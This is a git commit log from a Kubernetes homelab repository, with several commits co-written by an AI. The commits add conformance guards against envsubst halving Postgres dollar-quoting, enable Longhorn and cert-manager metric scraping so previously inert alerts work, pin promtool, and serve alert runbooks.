jakman85	37eea51f24	merge: the substitution check now catches a collapsed doubled dollar gate / gate (push) Has been cancelled Details gate / conformance (push) Has been cancelled Details The existing check audited only the inverse — a ${...} undefined or unescaped — so it passed the manifest that broke prod: Postgres dollar-quoting under a postBuild.substituteFrom path, which envsubst halves, delivering 'DO $' and a syntax error on every reconciled run (fixed `16b7fcd`). Measured rather than assumed: Flux 2.4.0 embeds fluxcd/pkg/envsubst (a fork of drone/envsubst — the brief credited the wrong module), and --strict output is BYTE-IDENTICAL to non-strict here, so strict mode is blind to this class entirely. The decisive contrast is two commands on the same stream: kubectl kustomize emits valid 'DO $$' — which is what the kubectl-apply verification saw — while the same stream through flux envsubst emits 'DO $'. 357 assertions, 0 unjustified. Legitimate uses genuinely exist (18 ${} escapes plus two reaching shell comments), so the allowlist is a reviewed opt-in rather than a bypass: a stale entry fails, a wildcard is matched verbatim and so fails as stale, a short context or reason is rejected, and a genuine entry covers only the span it matches — a second occurrence in the same file still fails. Strongest proof: restoring the real pre-16b7fcd manifest verbatim makes the guard reject the exact commit that broke production.	2026-09-13 16:27:51 -05:00
jakman85andClaude Opus 5	830983b791	test(l0): prove the dollar-collapse guard fires — and name the real envsubst The implementation landed in the preceding WIP commit had never been executed. This finishes it: the arithmetic is re-measured, the guard and its allowlist are attacked, and the header's one factual error is corrected. WHAT ENVSUBST ACTUALLY IS. The header credited `github.com/drone/envsubst`. The pinned flux 2.4.0 binary in the dev image embeds `github.com/fluxcd/pkg/[email protected]` — Flux's own fork of drone/envsubst ("This package is a fork of drone/envsubst", its README) — read straight out of the binary with `grep -ao`. Same behaviour, different module; the header now says so and says how to check, because a claim about a dependency that nobody can re-derive is how the last wrong assumption survived. RE-MEASURED, NOT ASSERTED. Every row of the DOLLAR-RUN ARITHMETIC table was re-run through `flux envsubst` (flux 2.4.0, DEFINED=VALUE) and every row holds: `$$`->`$`, `$$$`->`$$`, `$${D}`->`${D}`, `$$${D}`->`$VALUE` (odd run: the brace is LIVE), `$$$${D}`->`$${D}`, `DO $$ x $$;`->`DO $ x $;`, and `$$${ARR[0]}` dies with "missing closing brace" while `$${ARR[0]}` is fine. `--strict` output was byte-identical to non-strict, exit 0 both ways (`cmp`) — strict mode is blind to this whole class, which is why a source assertion is the only guard available. The header now carries the 30-second reproduction, flagged to be re-measured on any FLUX_VERSION bump. END TO END ON THE REAL PATH. With the pre-16b7fcd manifest restored, `kubectl kustomize apps/wave-0` emits `DO $$` — valid SQL, and exactly what the `kubectl apply` verification saw — while the same stream through `flux envsubst --strict` emits `DO $` and `$;` and exits 0. That two-command contrast IS the incident. THE GUARD IS NOT TRIVIALLY SATISFIABLE — 16 adversarial cases, all as intended, run against a throwaway copy of the tree so nothing could be left behind: * an unmarked `$$` under a substituted path FAILS (DOLLAR-COLLAPSE); so do an odd `$$${...}` (DOLLAR-HALF-ESCAPED) and an even `$$$${...}` (OVER-ESCAPED); * a stale entry FAILS three ways — context no longer in the file, context that only covers an already-accepted `$${` escape and so excuses nothing, and a path that is not a file in the repo; * the allowlist cannot blanket-exempt a path: a 2-char context is rejected (<24), a `.` wildcard is matched VERBATIM and therefore rejected as stale, a 24-char context carrying no dollar run is rejected, a 4-char reason is rejected (<40) — and, the central case, a genuine entry covers only the span its context matches, so a SECOND `$$` elsewhere in the same file still fails. Two genuine entries for two real occurrences do pass, so the mechanism is usable rather than merely unsatisfiable; the CLASS, not the instance: the pre-fix `DO $$ ... $$;` reconstructed in a NEW ConfigMap under apps/wave-2 fails at both dollar runs, and restoring the real pre-16b7fcd apps/wave-0/nextcloud-db.yaml verbatim fails the check at lines 384 and 391. The guard rejects the exact commit that broke production. The scratch fixtures lived only in the throwaway copy; `git status` on this branch stayed clean throughout, which is the other half of the last attempt's unfinished business. LEGITIMATE USES EXIST AND STAY GREEN. 18 `$${...}` escapes (unifi cloud-init, the gitea and nextcloud OIDC bootstrap scripts, two longhorn comments) pass unremarked, and the 2 non-braced `$$` occurrences are the two allowlist entries. Those two are shell comments inside block scalars, and `kubectl kustomize` confirms the comment text really does survive into the stream envsubst reads — so they are genuine, reaching content whose collapse is cosmetic, not a hypothetical the allowlist was invented to excuse. STILL NOT PROVEN, AND STILL NOT PROXIED: that a change was verified through a substituting path. Which command a human ran is a fact about a shell session; git stores the manifest, never the invocation, so it is not statically decidable here and no honest formulation exists. Grepping commit prose for `kubectl apply` would be satisfiable by rewording and would fire on the break-glass runbooks whose whole content is that command. The answer is to move the proof off the verification path and onto the source, which is what assertion (7) does. No ci/l0.sh stage: the `conformance.home.k3s/scope: "whole-repo"` annotation is what wires it, and whole-repo-invariants-wired fails the gate on a hand-written stage. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 16:24:42 -05:00
jakman85andClaude Opus 5	a92fa11701	feat(monitoring): scrape Longhorn + cert-manager — 8 alerts were structurally inert An alert rule whose metric is never scraped is not a broken alert, it is an ABSENT alert that reads as a present one. `longhorn_volume_robustness == 2` over a TSDB with no longhorn_* series returns no vector: permanently quiet, permanently "healthy", indistinguishable from a correct rule. It survives review (the PromQL is right), it survives `promtool test rules` (the unit test supplies the series itself), and it appears on no dashboard. VERIFIED ABSENT ON PROD before this change (re-verified 2026-09-13 21:0xZ, ~15h after the first audit, because a stale reading is not evidence): count(longhorn_volume_robustness) => (empty) 4 rules inert count({__name__=~"certmanager."}) => (empty) 3 rules inert count(hubble_drop_total) / {__name__=~"cilium."} => (empty) 1 rule inert count by (job) (up) => 20 jobs, none of them Longhorn, cert-manager, Cilium or Hubble Consequence: storage health was unmonitored on the cluster whose prod-1 had just had a failing SSD, and TLS expiry was unmonitored with the live `wildcard-home` wildcard 89 days from expiry on an ACME DNS-01 renewal that can fail silently. WHAT THIS CHANGES * platform/longhorn: `metrics.serviceMonitor.enabled: true` (the supported chart way — rendering longhorn 1.12.1 emits exactly 1 ServiceMonitor with the flag and 0 without), plus networkpolicy-metrics.yaml. The NetworkPolicy is LOAD-BEARING, not belt-and-braces: measured with the monitor applied and no allowance, all 3 targets were DISCOVERED and every scrape failed `context deadline exceeded` after 10.0s — a drop, not a refusal — while curling the endpoint from inside the manager pod returned 200 in 0.031s. Longhorn 1.12.1 ships 6 NetworkPolicies of its own, guarded on `networkPolicies.restrictInternalTraffic` (default TRUE) and NOT on `networkPolicies.enabled`, so they are effectively unconditional and the manager policy admits only same-namespace Longhorn components. The one-line alternative (restrictInternalTraffic: false) was rejected: it deletes the internal-traffic restriction across all six components to open one port to one namespace, trading an R-SEC-02 control for an observability one when the two do not conflict. This policy is Ingress-only, ns monitoring -> app=longhorn-manager, TCP 9500 only; 9502/9503 (webhook, recovery backend) stay closed. * platform/cert-manager: `prometheus.servicemonitor.enabled: true`. Chart default already serves 9402; only the monitor was missing. No NetworkPolicy needed — neither ns cert-manager nor ns monitoring carries one. NOT paired with prometheus.podmonitor.enabled: the chart calls `fail` if both are set. * platform/kubevirt: KubeVirtVMLaunchFailing queried `kubevirt_vmi_phase_count{phase="Failed"}`, which DOES NOT EXIST on the deployed KubeVirt — a different flavour of the same defect, with the scrape target up and healthy. Prod has only `kubevirt_vmi_info` and `kubevirt_vmi_number_of_outdated`; the only phase-bearing names are the phase_transition_time histograms. Corrected to `kubevirt_vmi_info{phase="failed"}` — LOWERCASE, because KubeVirt lowercases the value (observed `phase="running"` for the unifi VMI) and a capital-F matcher would select nothing and be exactly as inert. PROVEN, NOT ASSERTED. The rendered ServiceMonitors were applied to prod by hand and the metrics observed to land, then REMOVED again so the merge's Helm upgrade creates and owns them rather than colliding with an unowned object: count(up{job="longhorn-backend"}) => 3 (all three managers, up==1) count({__name__=~"longhorn."}) => 8717 (was empty) count(longhorn_volume_robustness) => 44 up{namespace="cert-manager"} => 3 targets, all 1 count({__name__=~"certmanager."}) => 104 (was empty) wildcard-home days to expiry => 89.2, ready_status{condition="True"}=1 All 58 alert rules in the repo were then evaluated against prod one by one: every one returns a result without error, and exactly ONE fires. TRIAGE OF THE ONE NEWLY-FIRING ALERT — A TRUE POSITIVE, NOT TUNED AWAY. LonghornVolumeCapacityHigh on the Prometheus TSDB volume: `longhorn_volume_actual_size_bytes / longhorn_volume_capacity_bytes` = 0.971 (48.6 GiB allocated of 50 GiB) while the kubelet's view of the same filesystem is only 20.4% used. Longhorn is not reclaiming freed blocks, so ~48.6 GiB x 3 replicas is committed for ~10 GiB of real data. On a cluster whose failure mode is disk pressure and whose etcd WAL shares a spindle with Longhorn, that is worth knowing and was invisible until now. The threshold is left alone; the follow-up is filesystem trim, not a bigger number. THE GUARD (conformance/tests/l0-static/alert-metrics-have-scrape-targets) Whole-repo L0 invariant, 118 assertions. It crosses from each alert to the scrape config that makes its metric exist: every metric name is claimed by exactly one declared owner, and each owner's enabling declaration is re-proven against the working tree on every gate run, including the negative conditions that defeat an enablement without deleting it. `up{job="X"}` is audited on its own axis, because `up` always exists: where this repo authors a Service and a ServiceMonitor in the same file, the monitor's endpoint port must be a port that Service defines. It DECLARES conformance.home.k3s/scope: "whole-repo" and adds NO ci/l0.sh stage — the whole-repo-invariants-wired meta-test fails the gate if one reappears. PROVEN ABLE TO FAIL, five ways, each reverted: 1. an alert on a fabricated metric -> FAIL "claimed by NO entry" 2. longhorn metrics.serviceMonitor removed -> FAIL "no longer matches" 3. networkpolicy-metrics.yaml unwired -> FAIL "the monitor alone is NOT enough" 4. cert-manager podmonitor also enabled -> FAIL "FORBIDDEN pattern" 5. a register entry made stale / removed -> FAIL in both directions TWO SHRINK-ONLY REGISTERS, because a blanket fail would make the gate red until work that is not this change lands, and a disabled gate protects nothing: * KNOWN_UNWIRED_METRICS (1): hubble_drop_total. See below. * KNOWN_UNWIRED_JOBS (12): every apps/* `<app>-down` SLI rule is ALSO inert, and this was found by the re-audit, not previously known. The rendered ServiceMonitors name `port: metrics` and NOT ONE of the twelve app Services defines a port of that name (zero occurrences of `name: metrics` across all twelve manifests); prod confirms none of the twelve jobs appears in `up`. This is the nastiest variant of the class: `up` exists in abundance so nothing looks wrong, and PrometheusTargetsMissing cannot see it either, because a target that was never discovered has no up series to be 0. Closing it needs an exporter per app (Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr, Seerr speak no Prometheus) — except keycloak, where the live jobs are keycloak-service / keycloak-discovery and the rule is a rename away from being live. NOT DONE HERE, DELIBERATELY: Hubble. hubble.metrics.enabled RECONFIGURES THE CNI — it opens 9965 on every cilium-agent and rolls the DaemonSet across all three nodes, serialised by this repo's own maxUnavailable: 1 (set after the 2026-09-01 k8sServiceHost outage, where a CNI roll deadlocked 2 of 3 agents). It also needs a matching edit to roles/cilium/templates/cilium-values.yaml.j2 in the same commit, because platform/cilium/helmrelease.yaml carries a [parity] contract against it and a rebuilt node would otherwise bootstrap a CNI config that disagrees with the reconciled one. Recommended as its own change on the cilium Kustomization, with the Ansible parity edit, a narrow labelsContext, and a one-node canary — not smuggled in here. ALSO FOUND, NOT FIXED HERE: kube-state-metrics is OOMKilled every ~10 minutes on prod (90 restarts in 16h against a 128Mi limit) while its logs show the custom-resource-state factory reloading every 3 seconds. Thirteen alert rules read kube_* metrics, so those rules are INTERMITTENTLY inert — the same defect class, arriving through a crashloop rather than a missing monitor. Needs its own change. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 16:21:44 -05:00
jakman85andClaude Opus 5	377fa205ea	WIP: catch envsubst collapsing a doubled dollar in substituted paths INCOMPLETE — preserved by the PM after the authoring agent hit the session rate limit mid-task. Do not merge without finishing and gating it. Closes the inverse of what this check already covered. It asserted that every ${...} in a substituted path is defined or escaped; it did NOT catch content containing a literal doubled dollar that the author needs delivered verbatim and that envsubst silently halves. That shipped a broken CronJob (fixed in `16b7fcd`): Postgres dollar-quoting became a single dollar and every Flux-reconciled run died with a syntax error, while passing review because verification used kubectl apply, which runs no envsubst. Introduces a dollar-collapse.allow allowlist so each legitimate use is a reviewed decision rather than an accident. WHAT REMAINS: the agent's own next step was proving it catches the CLASS and not just this instance, via a scratch manifest under a substituted path. Its scratch fixture (apps/wave-2/zz-scratch-class.yaml and the wave-2 kustomization edit) was deliberately temporary and has been reverted here, so the fail-proof is NOT yet demonstrated. Also unanswered: brief point 3, on whether the check can say anything about a manifest verified only through a non-substituting path. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 16:09:37 -05:00
jakman85	5fa893095b	merge: the placeholder guard test was hiding a RED, not a pass gate / gate (push) Has been cancelled Details gate / conformance (push) Has been cancelled Details It had been permanently SKIPPED because it expected bootstrap/standup.sh, which never landed on main — planned, never merged, still living only on the unmerged prod-standup branches along with the 2026-09-05 incident it came from. Dropping the real script in and running the old check produced FAIL 2/34: it would have false-blocked the very merge that landed its own input. Now split into the half that needs no guard (no overlay ships a placeholder-shaped effective cluster-vars value; an empty value must be STATED by the overlay, not inherited in silence; a loud base sentinel must be explicitly overridden) and the half that self-activates. The guard is discovered by CONTENT — any tracked *.sh defining <name>_is_placeholder() — so landing one anywhere activates the second half with no edit here, and two definitions is a failure. The check never exits 3 again. Unscoped L0 goes 13 PASS / 1 SKIP -> 14 PASS / 0 SKIP.	2026-09-13 00:14:17 -05:00
jakman85	e49b86eb41	merge: 35 runbooks, served, with a guard that they resolve gate / gate (push) Has been cancelled Details gate / conformance (push) Has been cancelled Details All 46 runbook_url annotations pointed at https://<apex>/runbooks/<name> and every one returned 404 — there was no runbooks/ directory and no route. Every alert that reached a human handed them a dead link at the moment they needed it. Runbooks are now served from their own non-gating tier at the apex prefix, PUBLIC on purpose: gating them behind Keycloak would make keycloak-down unreadable exactly when Keycloak is down, which is a loop with no exit. The new L0 guard checks both directions — a runbook_url with no file, and a file not wired into the generator — and it caught a live one on contact with main: CNPGPrimariesCoLocated had shipped hours earlier pointing at a runbook that did not exist.	2026-09-13 00:11:03 -05:00
jakman85andClaude Opus 5	87c3d83dff	fix(conformance): placeholder-guard-coupling actually RUNS — it was skipping forever `conformance/tests/l0-static/placeholder-guard-coupling` (R-ENV-02, R-STATE-03) exited 3 SKIPPED on every gate run since it landed, because its check keyed its whole existence on `bootstrap/standup.sh`. Measured, not assumed: that file has NEVER been on `main` — there is no deletion commit for it anywhere; it landed only on unmerged prod-standup branches (`work/prod-standup-campaign`, `prod/`, `feat/prod-hardening`). It was planned and never merged, not removed. SKIPPED is not green, and a permanently-skipped incident-derived test is the quiet version of the failure it was written to prevent. The skip was also hiding a RED. Run against the real `standup.sh` from `work/prod-standup-campaign`, the old check FAILED 2 of 34 assertions — false positives from treating the empty string as placeholder-shaped for knobs cluster-vars authors empty on purpose (`BACKUP_CREDENTIALS_SUFFIX`, `VELERO_BACKUP_PREFIX`, both `""` on dev and both documented there as load-bearing). It would have false-blocked the merge landing its own input. NOT deleted — the hazard is not gone. Split into two halves, one of which needs no guard: HALF A (always runs): no environment overlay ships a placeholder-shaped EFFECTIVE cluster-vars value; an empty effective value is STATED by the overlay rather than inherited in silence; a LOUD base sentinel is explicitly overridden by every overlay. This is the 2026-09-05 outcome asserted at the source instead of at the guard — if prod's S3_BACKUP_ENDPOINT is never a placeholder, velero cannot be pointed at a hostname that does not exist. Input surface is `clusters/`, all of it on `main`. HALF B (self-activating): the real predicate extracted and executed against those same values, the consumer trace, and the mid-string anchoring property. The check NEVER exits 3 again, and the guard is DISCOVERED by content rather than hardcoded: any tracked `.sh` defining `<name>_is_placeholder()` is found, so a guard landing at `bootstrap/standup.sh` — or moved into a sourceable library, the remedy the check already recommends — activates HALF B with no edit to the test. Two files defining it is a FAIL. When no guard exists the gap is printed loudly every run instead of swallowed as a skip. LOUD vs EMPTY is the correction that makes it honest in both modes: a loud placeholder is always a defect in an overlay, while `""` is held to the explicitness rule instead — and still counts as a placeholder for a knob a guard covers, because a `""` case-arm is the guard author's declaration that empty is not a usable target. Proof, all reverted: 84 assertions and exit 0 on `main`; prod S3_BACKUP_ENDPOINT set to the literal `https://TBD-R2-ACCOUNT-ID.r2.cloudflarestorage.com` FAILS (A1); deleting dev's explicit VELERO_BACKUP_PREFIX op so it inherits `""` FAILS (A2); a LOUD base BULK_NFS_SERVER with prod's override deleted FAILS 2/86 (A1+A3); and with the real `standup.sh` present, reverting `s3_is_placeholder` to the `TBD-` PREFIX glob FAILS 12/110 (B3 anchoring). With the pristine `standup.sh` the check PASSES at 110 assertions where the old one failed 2 of 34. L0 layer: 14 checks, 14 PASS, 0 SKIP, 0 FAIL (was 13 PASS / 1 SKIP). Coverage unchanged — R-ENV-02 and R-STATE-03 both still list this test, 49/51 with the same 2 gaps. Also: `ci/touched-requirements.sh` — `bootstrap/` -> R-STATE-03 R-GITOPS-01 is KEPT, its stale comment corrected. It claimed standup.sh "carries the placeholder guards", describing a file that is not here; R-STATE-03 there is ANTICIPATORY. Deleting the entry would leave the change that lands a placeholder guard selected by nothing. `ci/tests/touched-requirements.test.sh` — new path-map section (12 assertions, was 8) locking `bootstrap/` and `clusters/`, so removing either entry is a test failure rather than a silent loss of selection. All three ci/tests pass (12 + 31 + 15). * `docs/BULK-NFS-STORAGE.md` §7 — its "nothing in the gate currently refuses a placeholder-shaped overlay value" is no longer true; corrected. * Scope re-audited: still deliberately requirement-scoped, not whole-repo. Every path that can break it attributes a requirement it declares. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 00:10:37 -05:00
jakman85andClaude Opus 5	78d0f1b0f6	feat(ci): promtool in the pinned toolchain, one alert-rule harness, and the gaps declared The CNPG alert unit tests (324 lines, mutation-checked) were run by NOTHING. promtool was not in the baked toolchain, no gate stage evaluated any .promtool-test.yaml, and the only runner `curl \| tar -xz`'d a promtool release from GitHub at TEST-RUN time if one was missing. Hours later a second, independent harness landed for the Velero rules (platform/monitoring/tests/) with its own fallback — a `podman run` of quay.io/prometheus/prometheus. So the repo had two harnesses, two acquisition paths, and coverage that looked present and was enforced nowhere: the exact failure mode that had just produced a permanently-firing CNPG alert and a structurally inert Velero alert. PROMTOOL IS NOW PINNED LIKE EVERY OTHER TOOL. PROMTOOL_VERSION=3.14.0 in infra/devcontainer/versions.env and ci/versions.env (the two stay in lockstep, per the repo's rule), baked by the Containerfile from the prometheus release tarball (promtool ships inside it), recorded in /etc/dev-toolchain-versions, passed by dev.sh, and installed for the l0 stage by .gitea/workflows/scripts/install-tools.sh so the CI runner is not permanently SKIPPED. The pin is not free-floating: promtool IS the rule engine, so it tracks the Prometheus prod actually runs — verified against the live cluster, not assumed: kubectl --context k3s-prod get prometheus -n monitoring -o jsonpath='{.items[].spec.version}' -> v3.14.0-distroless (image quay.io/prometheus/prometheus:v3.14.0-distroless) ONE HARNESS. platform/cnpg/run-alert-tests.sh is folded into platform/monitoring/tests/run.sh, which now covers every PrometheusRule in the repo that has tests, via two conventions it discovers automatically: `<manifest>.promtool-test.yaml` beside its manifest (cnpg), and `<component>/tests/.test.yaml` over that component's manifests (monitoring). It writes the flattened rules under whatever name each test file's own `rule_files:` declares, so no test file needs to know the harness exists, and it `promtool check rules` first — a rules file that does not parse would make every unit test pass vacuously by finding no rules at all. The cnpg script's reasoning is preserved: why a CR must be flattened (`.spec.groups`, never re-typed), and why generated files go to a temp dir. Its `${BASE_DOMAIN}` substitution is dropped in favour of extract_rules.py's verbatim placeholders, with the trade-off recorded there — the hazard it guarded against is addressed by the temp dir, and verbatim leaves one transformation fewer between the shipped rule and the rule under test. NO ENGINE IS ACQUIRED AT RUN TIME any more — not the GitHub release, not the container image. Not because a pinned download is unusual here (the Containerfile downloads every tool it bakes) but because those two decided the version, the network and the machine SILENTLY, at test time, on whatever host ran the tests; and each quietly turned "the toolchain has no promtool" into a green run, which is how the toolchain stayed without one. Missing promtool is exit 3 (UNWIRED, never green); a PROMTOOL= that does not resolve is exit 2. ONE WIRING: conformance/tests/l0-static/alert-rules-unit-tested, NOT a gate stage. The `prom-rules` stage (ci/prom-rules.sh + its Makefile target + ci/gate.sh entry) is deleted: it is the bespoke-per-check pattern `b9f8807` had just removed from ci/l0.sh, and the declarative replacement gives what a hand-written stage cannot — selection by `conformance.home.k3s/scope: "whole-repo"` (asserted: the test is selected even under a requirement filter matching nothing), requirement-attributed JUnit/coverage/ledger evidence, and run_l1_offline.py's rule that a SKIP of a scope-declaring check is the runner's rc 3. The scope declaration is load-bearing here: touched-requirements.sh keys apps/ to nothing and platform/monitoring/* to R-OBS-01/02, never R-OBS-04, so a new untested PrometheusRule would otherwise be gated by nothing. The check asserts the pins and their lockstep, that the image bakes and records promtool, that the promtool IN USE reports exactly the pin (a FAILURE, not a skip: the wrong engine still prints SUCCESS), that exactly ONE harness exists and none fetches an engine, that every rule-unit test file passes, and — on every run — that the harness CAN fail, by putting a synthetic rule through it twice with one expectation mutated. MISSING TESTS ARE A RATCHET, deliberately, and the reasoning is in the check's header. 51 of 58 alert rules have no unit test. Failing on all of them makes the gate red until ~51 tests exist, so it gets disabled and protects nothing; merely reporting is exactly how the CNPG tests came to be enforced by nothing. So the gap is DECLARED in the check as a shrink-only register, printed with counts every run (13 alert files nothing tests at all; 35 named alerts inside covered files that nothing asserts on), and it cannot grow: a new PrometheusRule, or a new alert in an already-covered file, FAILS without a test, and a stale entry FAILS too. A missing test is never an exit-3 skip — SKIPPED is reserved for the one genuine environment gap, promtool being absent. PROVEN, in the rebuilt image (promtool 3.14.0): * both suites pass through the single harness: cnpg 6 rules, monitoring 36 rules, SUCCESS. * the check passes: 95 assertions, 7/58 alert rules unit-tested, 13 declared gap files. * NOT VACUOUS, twice over. Shortening CNPGPrimariesCoLocated's `for: 30m` to 5m turns it red (pending expected at 25m/29m, got firing), reverted. Adding an untested PrometheusRule (platform/kubevirt/probe-alerts.yaml) turns it red on the ratchet, removed. The harness's own mutation self-test runs on every invocation. * the scope mechanism selects it: `run.sh --layer l0 --requirements r-nosuchreq-99 --include-scope whole-repo --print-selection` lists alert-rules-unit-tested. Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 00:02:27 -05:00
jakman85andClaude Opus 5	b7341b329b	fix(runbooks): declare whole-repo scope, drop the bespoke l0 stage, +cnpg-primary-spread Three corrections after rebasing onto main. 1. THE GUARD CAUGHT A REAL ONE ON ITS FIRST CONTACT WITH main. main had gained `CNPGPrimariesCoLocated` (platform/cnpg/alerts.yaml) pointing at /runbooks/cnpg-primary-spread, with no runbook. The check failed the rebase exactly as designed — 46 annotations, 35 names, 34 present — naming both the missing file AND the missing configMapGenerator entry. runbooks/cnpg-primary-spread.md now exists: what co-located primaries actually cost here (blast radius, not an outage, because instances: 3 + required anti-affinity), why the drift is uncorrectable-by-declaration (CNPG has no primary-placement field), the readiness gate that keeps the rule quiet during a real node outage, and the ~9s-per-database switchover rebalance, one cluster at a time. The 2026-09-07 outage in which all three primaries sat on one node is the reason the alert exists at all. 2. WHOLE-REPO SCOPE, NOT A HAND-WRITTEN STAGE. main's refactor replaced ci/l0.sh's per-check "UNCONDITIONAL" stages with a declaration: `conformance.home.k3s/scope: "whole-repo"`, unioned into every gate run by Stage 3b's `--include-scope`. My +38-line Stage 3f is removed (ci/l0.sh is now byte-identical to main) and the annotation is declared instead. Assertion (7) of the check was rewritten to match: it no longer asserts its own path appears in ci/l0.sh — it asserts the test DECLARES the scope and that ci/l0.sh still passes --include-scope, since neither half alone makes the check load-bearing. That matters here because ci/touched-requirements.sh maps platform/monitoring/* to "R-OBS-01 R-OBS-02", not R-OBS-04, and maps platform/kubevirt/* and runbooks/* to nothing at all. 3. A FACTUAL CORRECTION IN ALL 35 RUNBOOKS. Every page claimed `dev.sh` defaults its current-context to k3s-dev. main's `9b4744d fix(devcontainer): dev.sh defaults to prod` made that false, and a runbook that misstates which cluster a command talks to is worse than one that says nothing. The pages now say what is durably true: the default has already changed once, so naming `--context k3s-prod` is what makes a command mean the same thing next month, and the per-invocation banner is there to be read. The check's own failure message was corrected the same way. Re-verified after all three: check green at 374 assertions (46 annotations, 35/35 runbooks present, 35/35 projected), re-applied to prod, and re-probed in-cluster through the Gateway — node-down, keycloak-down, keycloak-client-secrets, cnpg-archiving, longhorn-faulted, vpn-down, node-io and cnpg-primary-spread all HTTP 200 with text/plain; charset=utf-8 and 8.9-12.1 KB of real body; /runbooks/ index 200; an unknown name 404s with a pointer rather than a blank page; and homepage still answers the apex `/`, confirming Gateway API longest-path precedence. Full merge gate: PASS (spec-immutability, lint, l0, render-golden, l1 all green; prom-rules SKIPPED for want of promtool in the image; L2/L3 SKIPPED, no cluster). Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-13 00:00:24 -05:00
jakman85andClaude Opus 5	44983095e1	feat(runbooks): make the 42 alert runbook_url annotations resolve Every platform-health alert rule carries `runbook_url: "https://${BASE_DOMAIN}/runbooks/<name>"` — 42 annotations over 34 distinct names, across platform/monitoring/alerts.yaml, platform/monitoring/pvc-capacity-alerts.yaml, platform/cnpg/alerts.yaml and platform/kubevirt/alerts.yaml. There was no runbooks/ directory and no HTTPRoute serving that path: an in-cluster probe of https://home.keithjackson.dev/runbooks/node-down returned HTTP 404. Every alert that reached a human handed them a dead link at the exact moment the documentation is read, and the annotation made it look solved — the same green-surface-over-absent-mechanism class as the import Job that reported success while storing placeholder secrets. No alerts.yaml is touched and no runbook_url value changes. The existing URL scheme is made to resolve instead. WHAT LANDS - runbooks/<34>.md — one per name, each grounded in this cluster's real topology and, where one exists, its real incident history: the 2026-09-07 k3s-prod-1 etcd I/O starvation (measured PSI 11.36 vs 0.75/1.29, the exact journal lines, the four mechanisms proven inert), the Longhorn reboot tax and the freeze/thaw of concurrent-replica-rebuild-per-node-limit, Cilium's once-resolved egress interface cache (Ifindex 3 against a live 1780) and the absence of OSS failover, the CNPG 38-hour ContinuousArchiving=False with its measured 6.8 MiB/h disk-full clock and the 2026-09-12 aggregation-scope fix, the 2026-09-06 Keycloak lockout in which all 12 clients held literal placeholder secrets behind an entirely green cluster, the Velero R2 x-amz-tagging NotImplemented incompatibility and its v1.14.3-rc.2 pin, and swap re-enabling itself across reboots via systemd-gpt-auto-generator. Each page states what the alert means HERE, the first diagnostic commands, likely causes ordered by probability with a remediation each, and when to escalate or stop. - Every page uses FULLY-QUALIFIED resource names and says why: three CRDs register the kind `Backup` here, the bare short name resolves to Longhorn's (zero objects), so `kubectl get backup -A` prints "No resources found" on a cluster holding 6 Velero and 27 CNPG backups. Acting on that false negative is how a CLI quirk becomes data loss. - Every page states that kubectl only works via `infra/devcontainer/dev.sh run bash -c '...'` with an explicit `--context k3s-prod`, because dev.sh defaults its current-context to k3s-dev. - Pages also record which alert groups are INERT today (measured 2026-09-13: no Longhorn, cert-manager, Flux-controller or Hubble scrape job exists, so 13 rules evaluate against nothing) so nobody reads their silence as health. SERVING — runbooks/serving/ plus clusters/base/runbooks.yaml A two-replica nginx-unprivileged serving a ConfigMap generated from runbooks/*.md, at the apex `/runbooks` prefix, in its own non-gating post-platform Flux tier (dependsOn platform-config, wait:false) — the platform/homepage pattern, file for file. - The service catalog cannot express this route: ingressRoutes[].host is pattern-bound to a single DNS label plus the apex, so the bare apex is unrepresentable, and there is no path field. - Rejected: redirecting to the Gitea web UI. A runbook is read when the platform is broken, and Gitea is an app-tier workload whose own dependencies several of these runbooks document; Gateway API's RequestRedirect also has no "append .md" modifier, so it would need 34 hand-maintained ReplaceFullPath rules. - configMapGenerator maps each file to an EXTENSIONLESS key (node-down=node-down.md), so /runbooks/node-down is a plain static lookup with no rewrite rule. Served as text/plain: the namespace has DNS-only egress, so a CDN markdown renderer could not load anyway. - The tier declares NO postBuild.substituteFrom, deliberately: envsubst would run over the prose and silently empty every ${...} shell example (it fails open — the 2026-09-01 emptied Cilium k8sServiceHost). The HTTPRoute omits `hostnames:` and inherits the https-apex listener's, so nothing needs substituting. AUTH — PUBLIC, deliberately auth-mode=none. Gating these pages behind oauth2-proxy/Keycloak would make runbooks/keycloak-down unreadable when Keycloak is down and runbooks/keycloak-client-secrets unreadable during the exact 2026-09-06 failure mode. An operator who cannot log in is this route's primary reader. Content is operational procedure only, no secrets. The rationale is recorded in an annotation on the HTTPRoute so the route is left OUT of the Gateway ext-authz attachment when forward-auth enforcement lands. PROVEN — in-cluster probe through the Gateway on prod /runbooks/node-down HTTP 200 8613 bytes text/plain; charset=utf-8 /runbooks/keycloak-down HTTP 200 9378 bytes text/plain; charset=utf-8 /runbooks/cnpg-archiving HTTP 200 11729 bytes text/plain; charset=utf-8 /runbooks/longhorn-faulted HTTP 200 9135 bytes text/plain; charset=utf-8 /runbooks/vpn-down HTTP 200 11092 bytes text/plain; charset=utf-8 /runbooks/backup-failure HTTP 200 9604 bytes text/plain; charset=utf-8 HTTPRoute Accepted by io.cilium/gateway-controller on sectionName https-apex; the `/runbooks` prefix wins over homepage's apex `/` by Gateway API longest-path precedence. GUARD — conformance/tests/l0-static/alert-runbooks-resolvable (R-OBS-04) 363 offline assertions. It checks BOTH halves, because the regression is silent in both directions: an alert with a new runbook_url and no runbook links to a 404, AND a runbook committed without its configMapGenerator entry is in git, reviewed, merged, and still 404s in the cluster. Also asserts a quality floor so a stub cannot make the link look fixed, and that route/listener/nginx prefix agree with the annotations. Proven to fail, then reverted: a bogus runbook_url (2 FAIL), a runbook removed from the generator (1 FAIL), and a 31-byte stub (7 FAIL). Co-Authored-By: Claude Opus 5 <[email protected]>	2026-09-12 23:49:58 -05:00
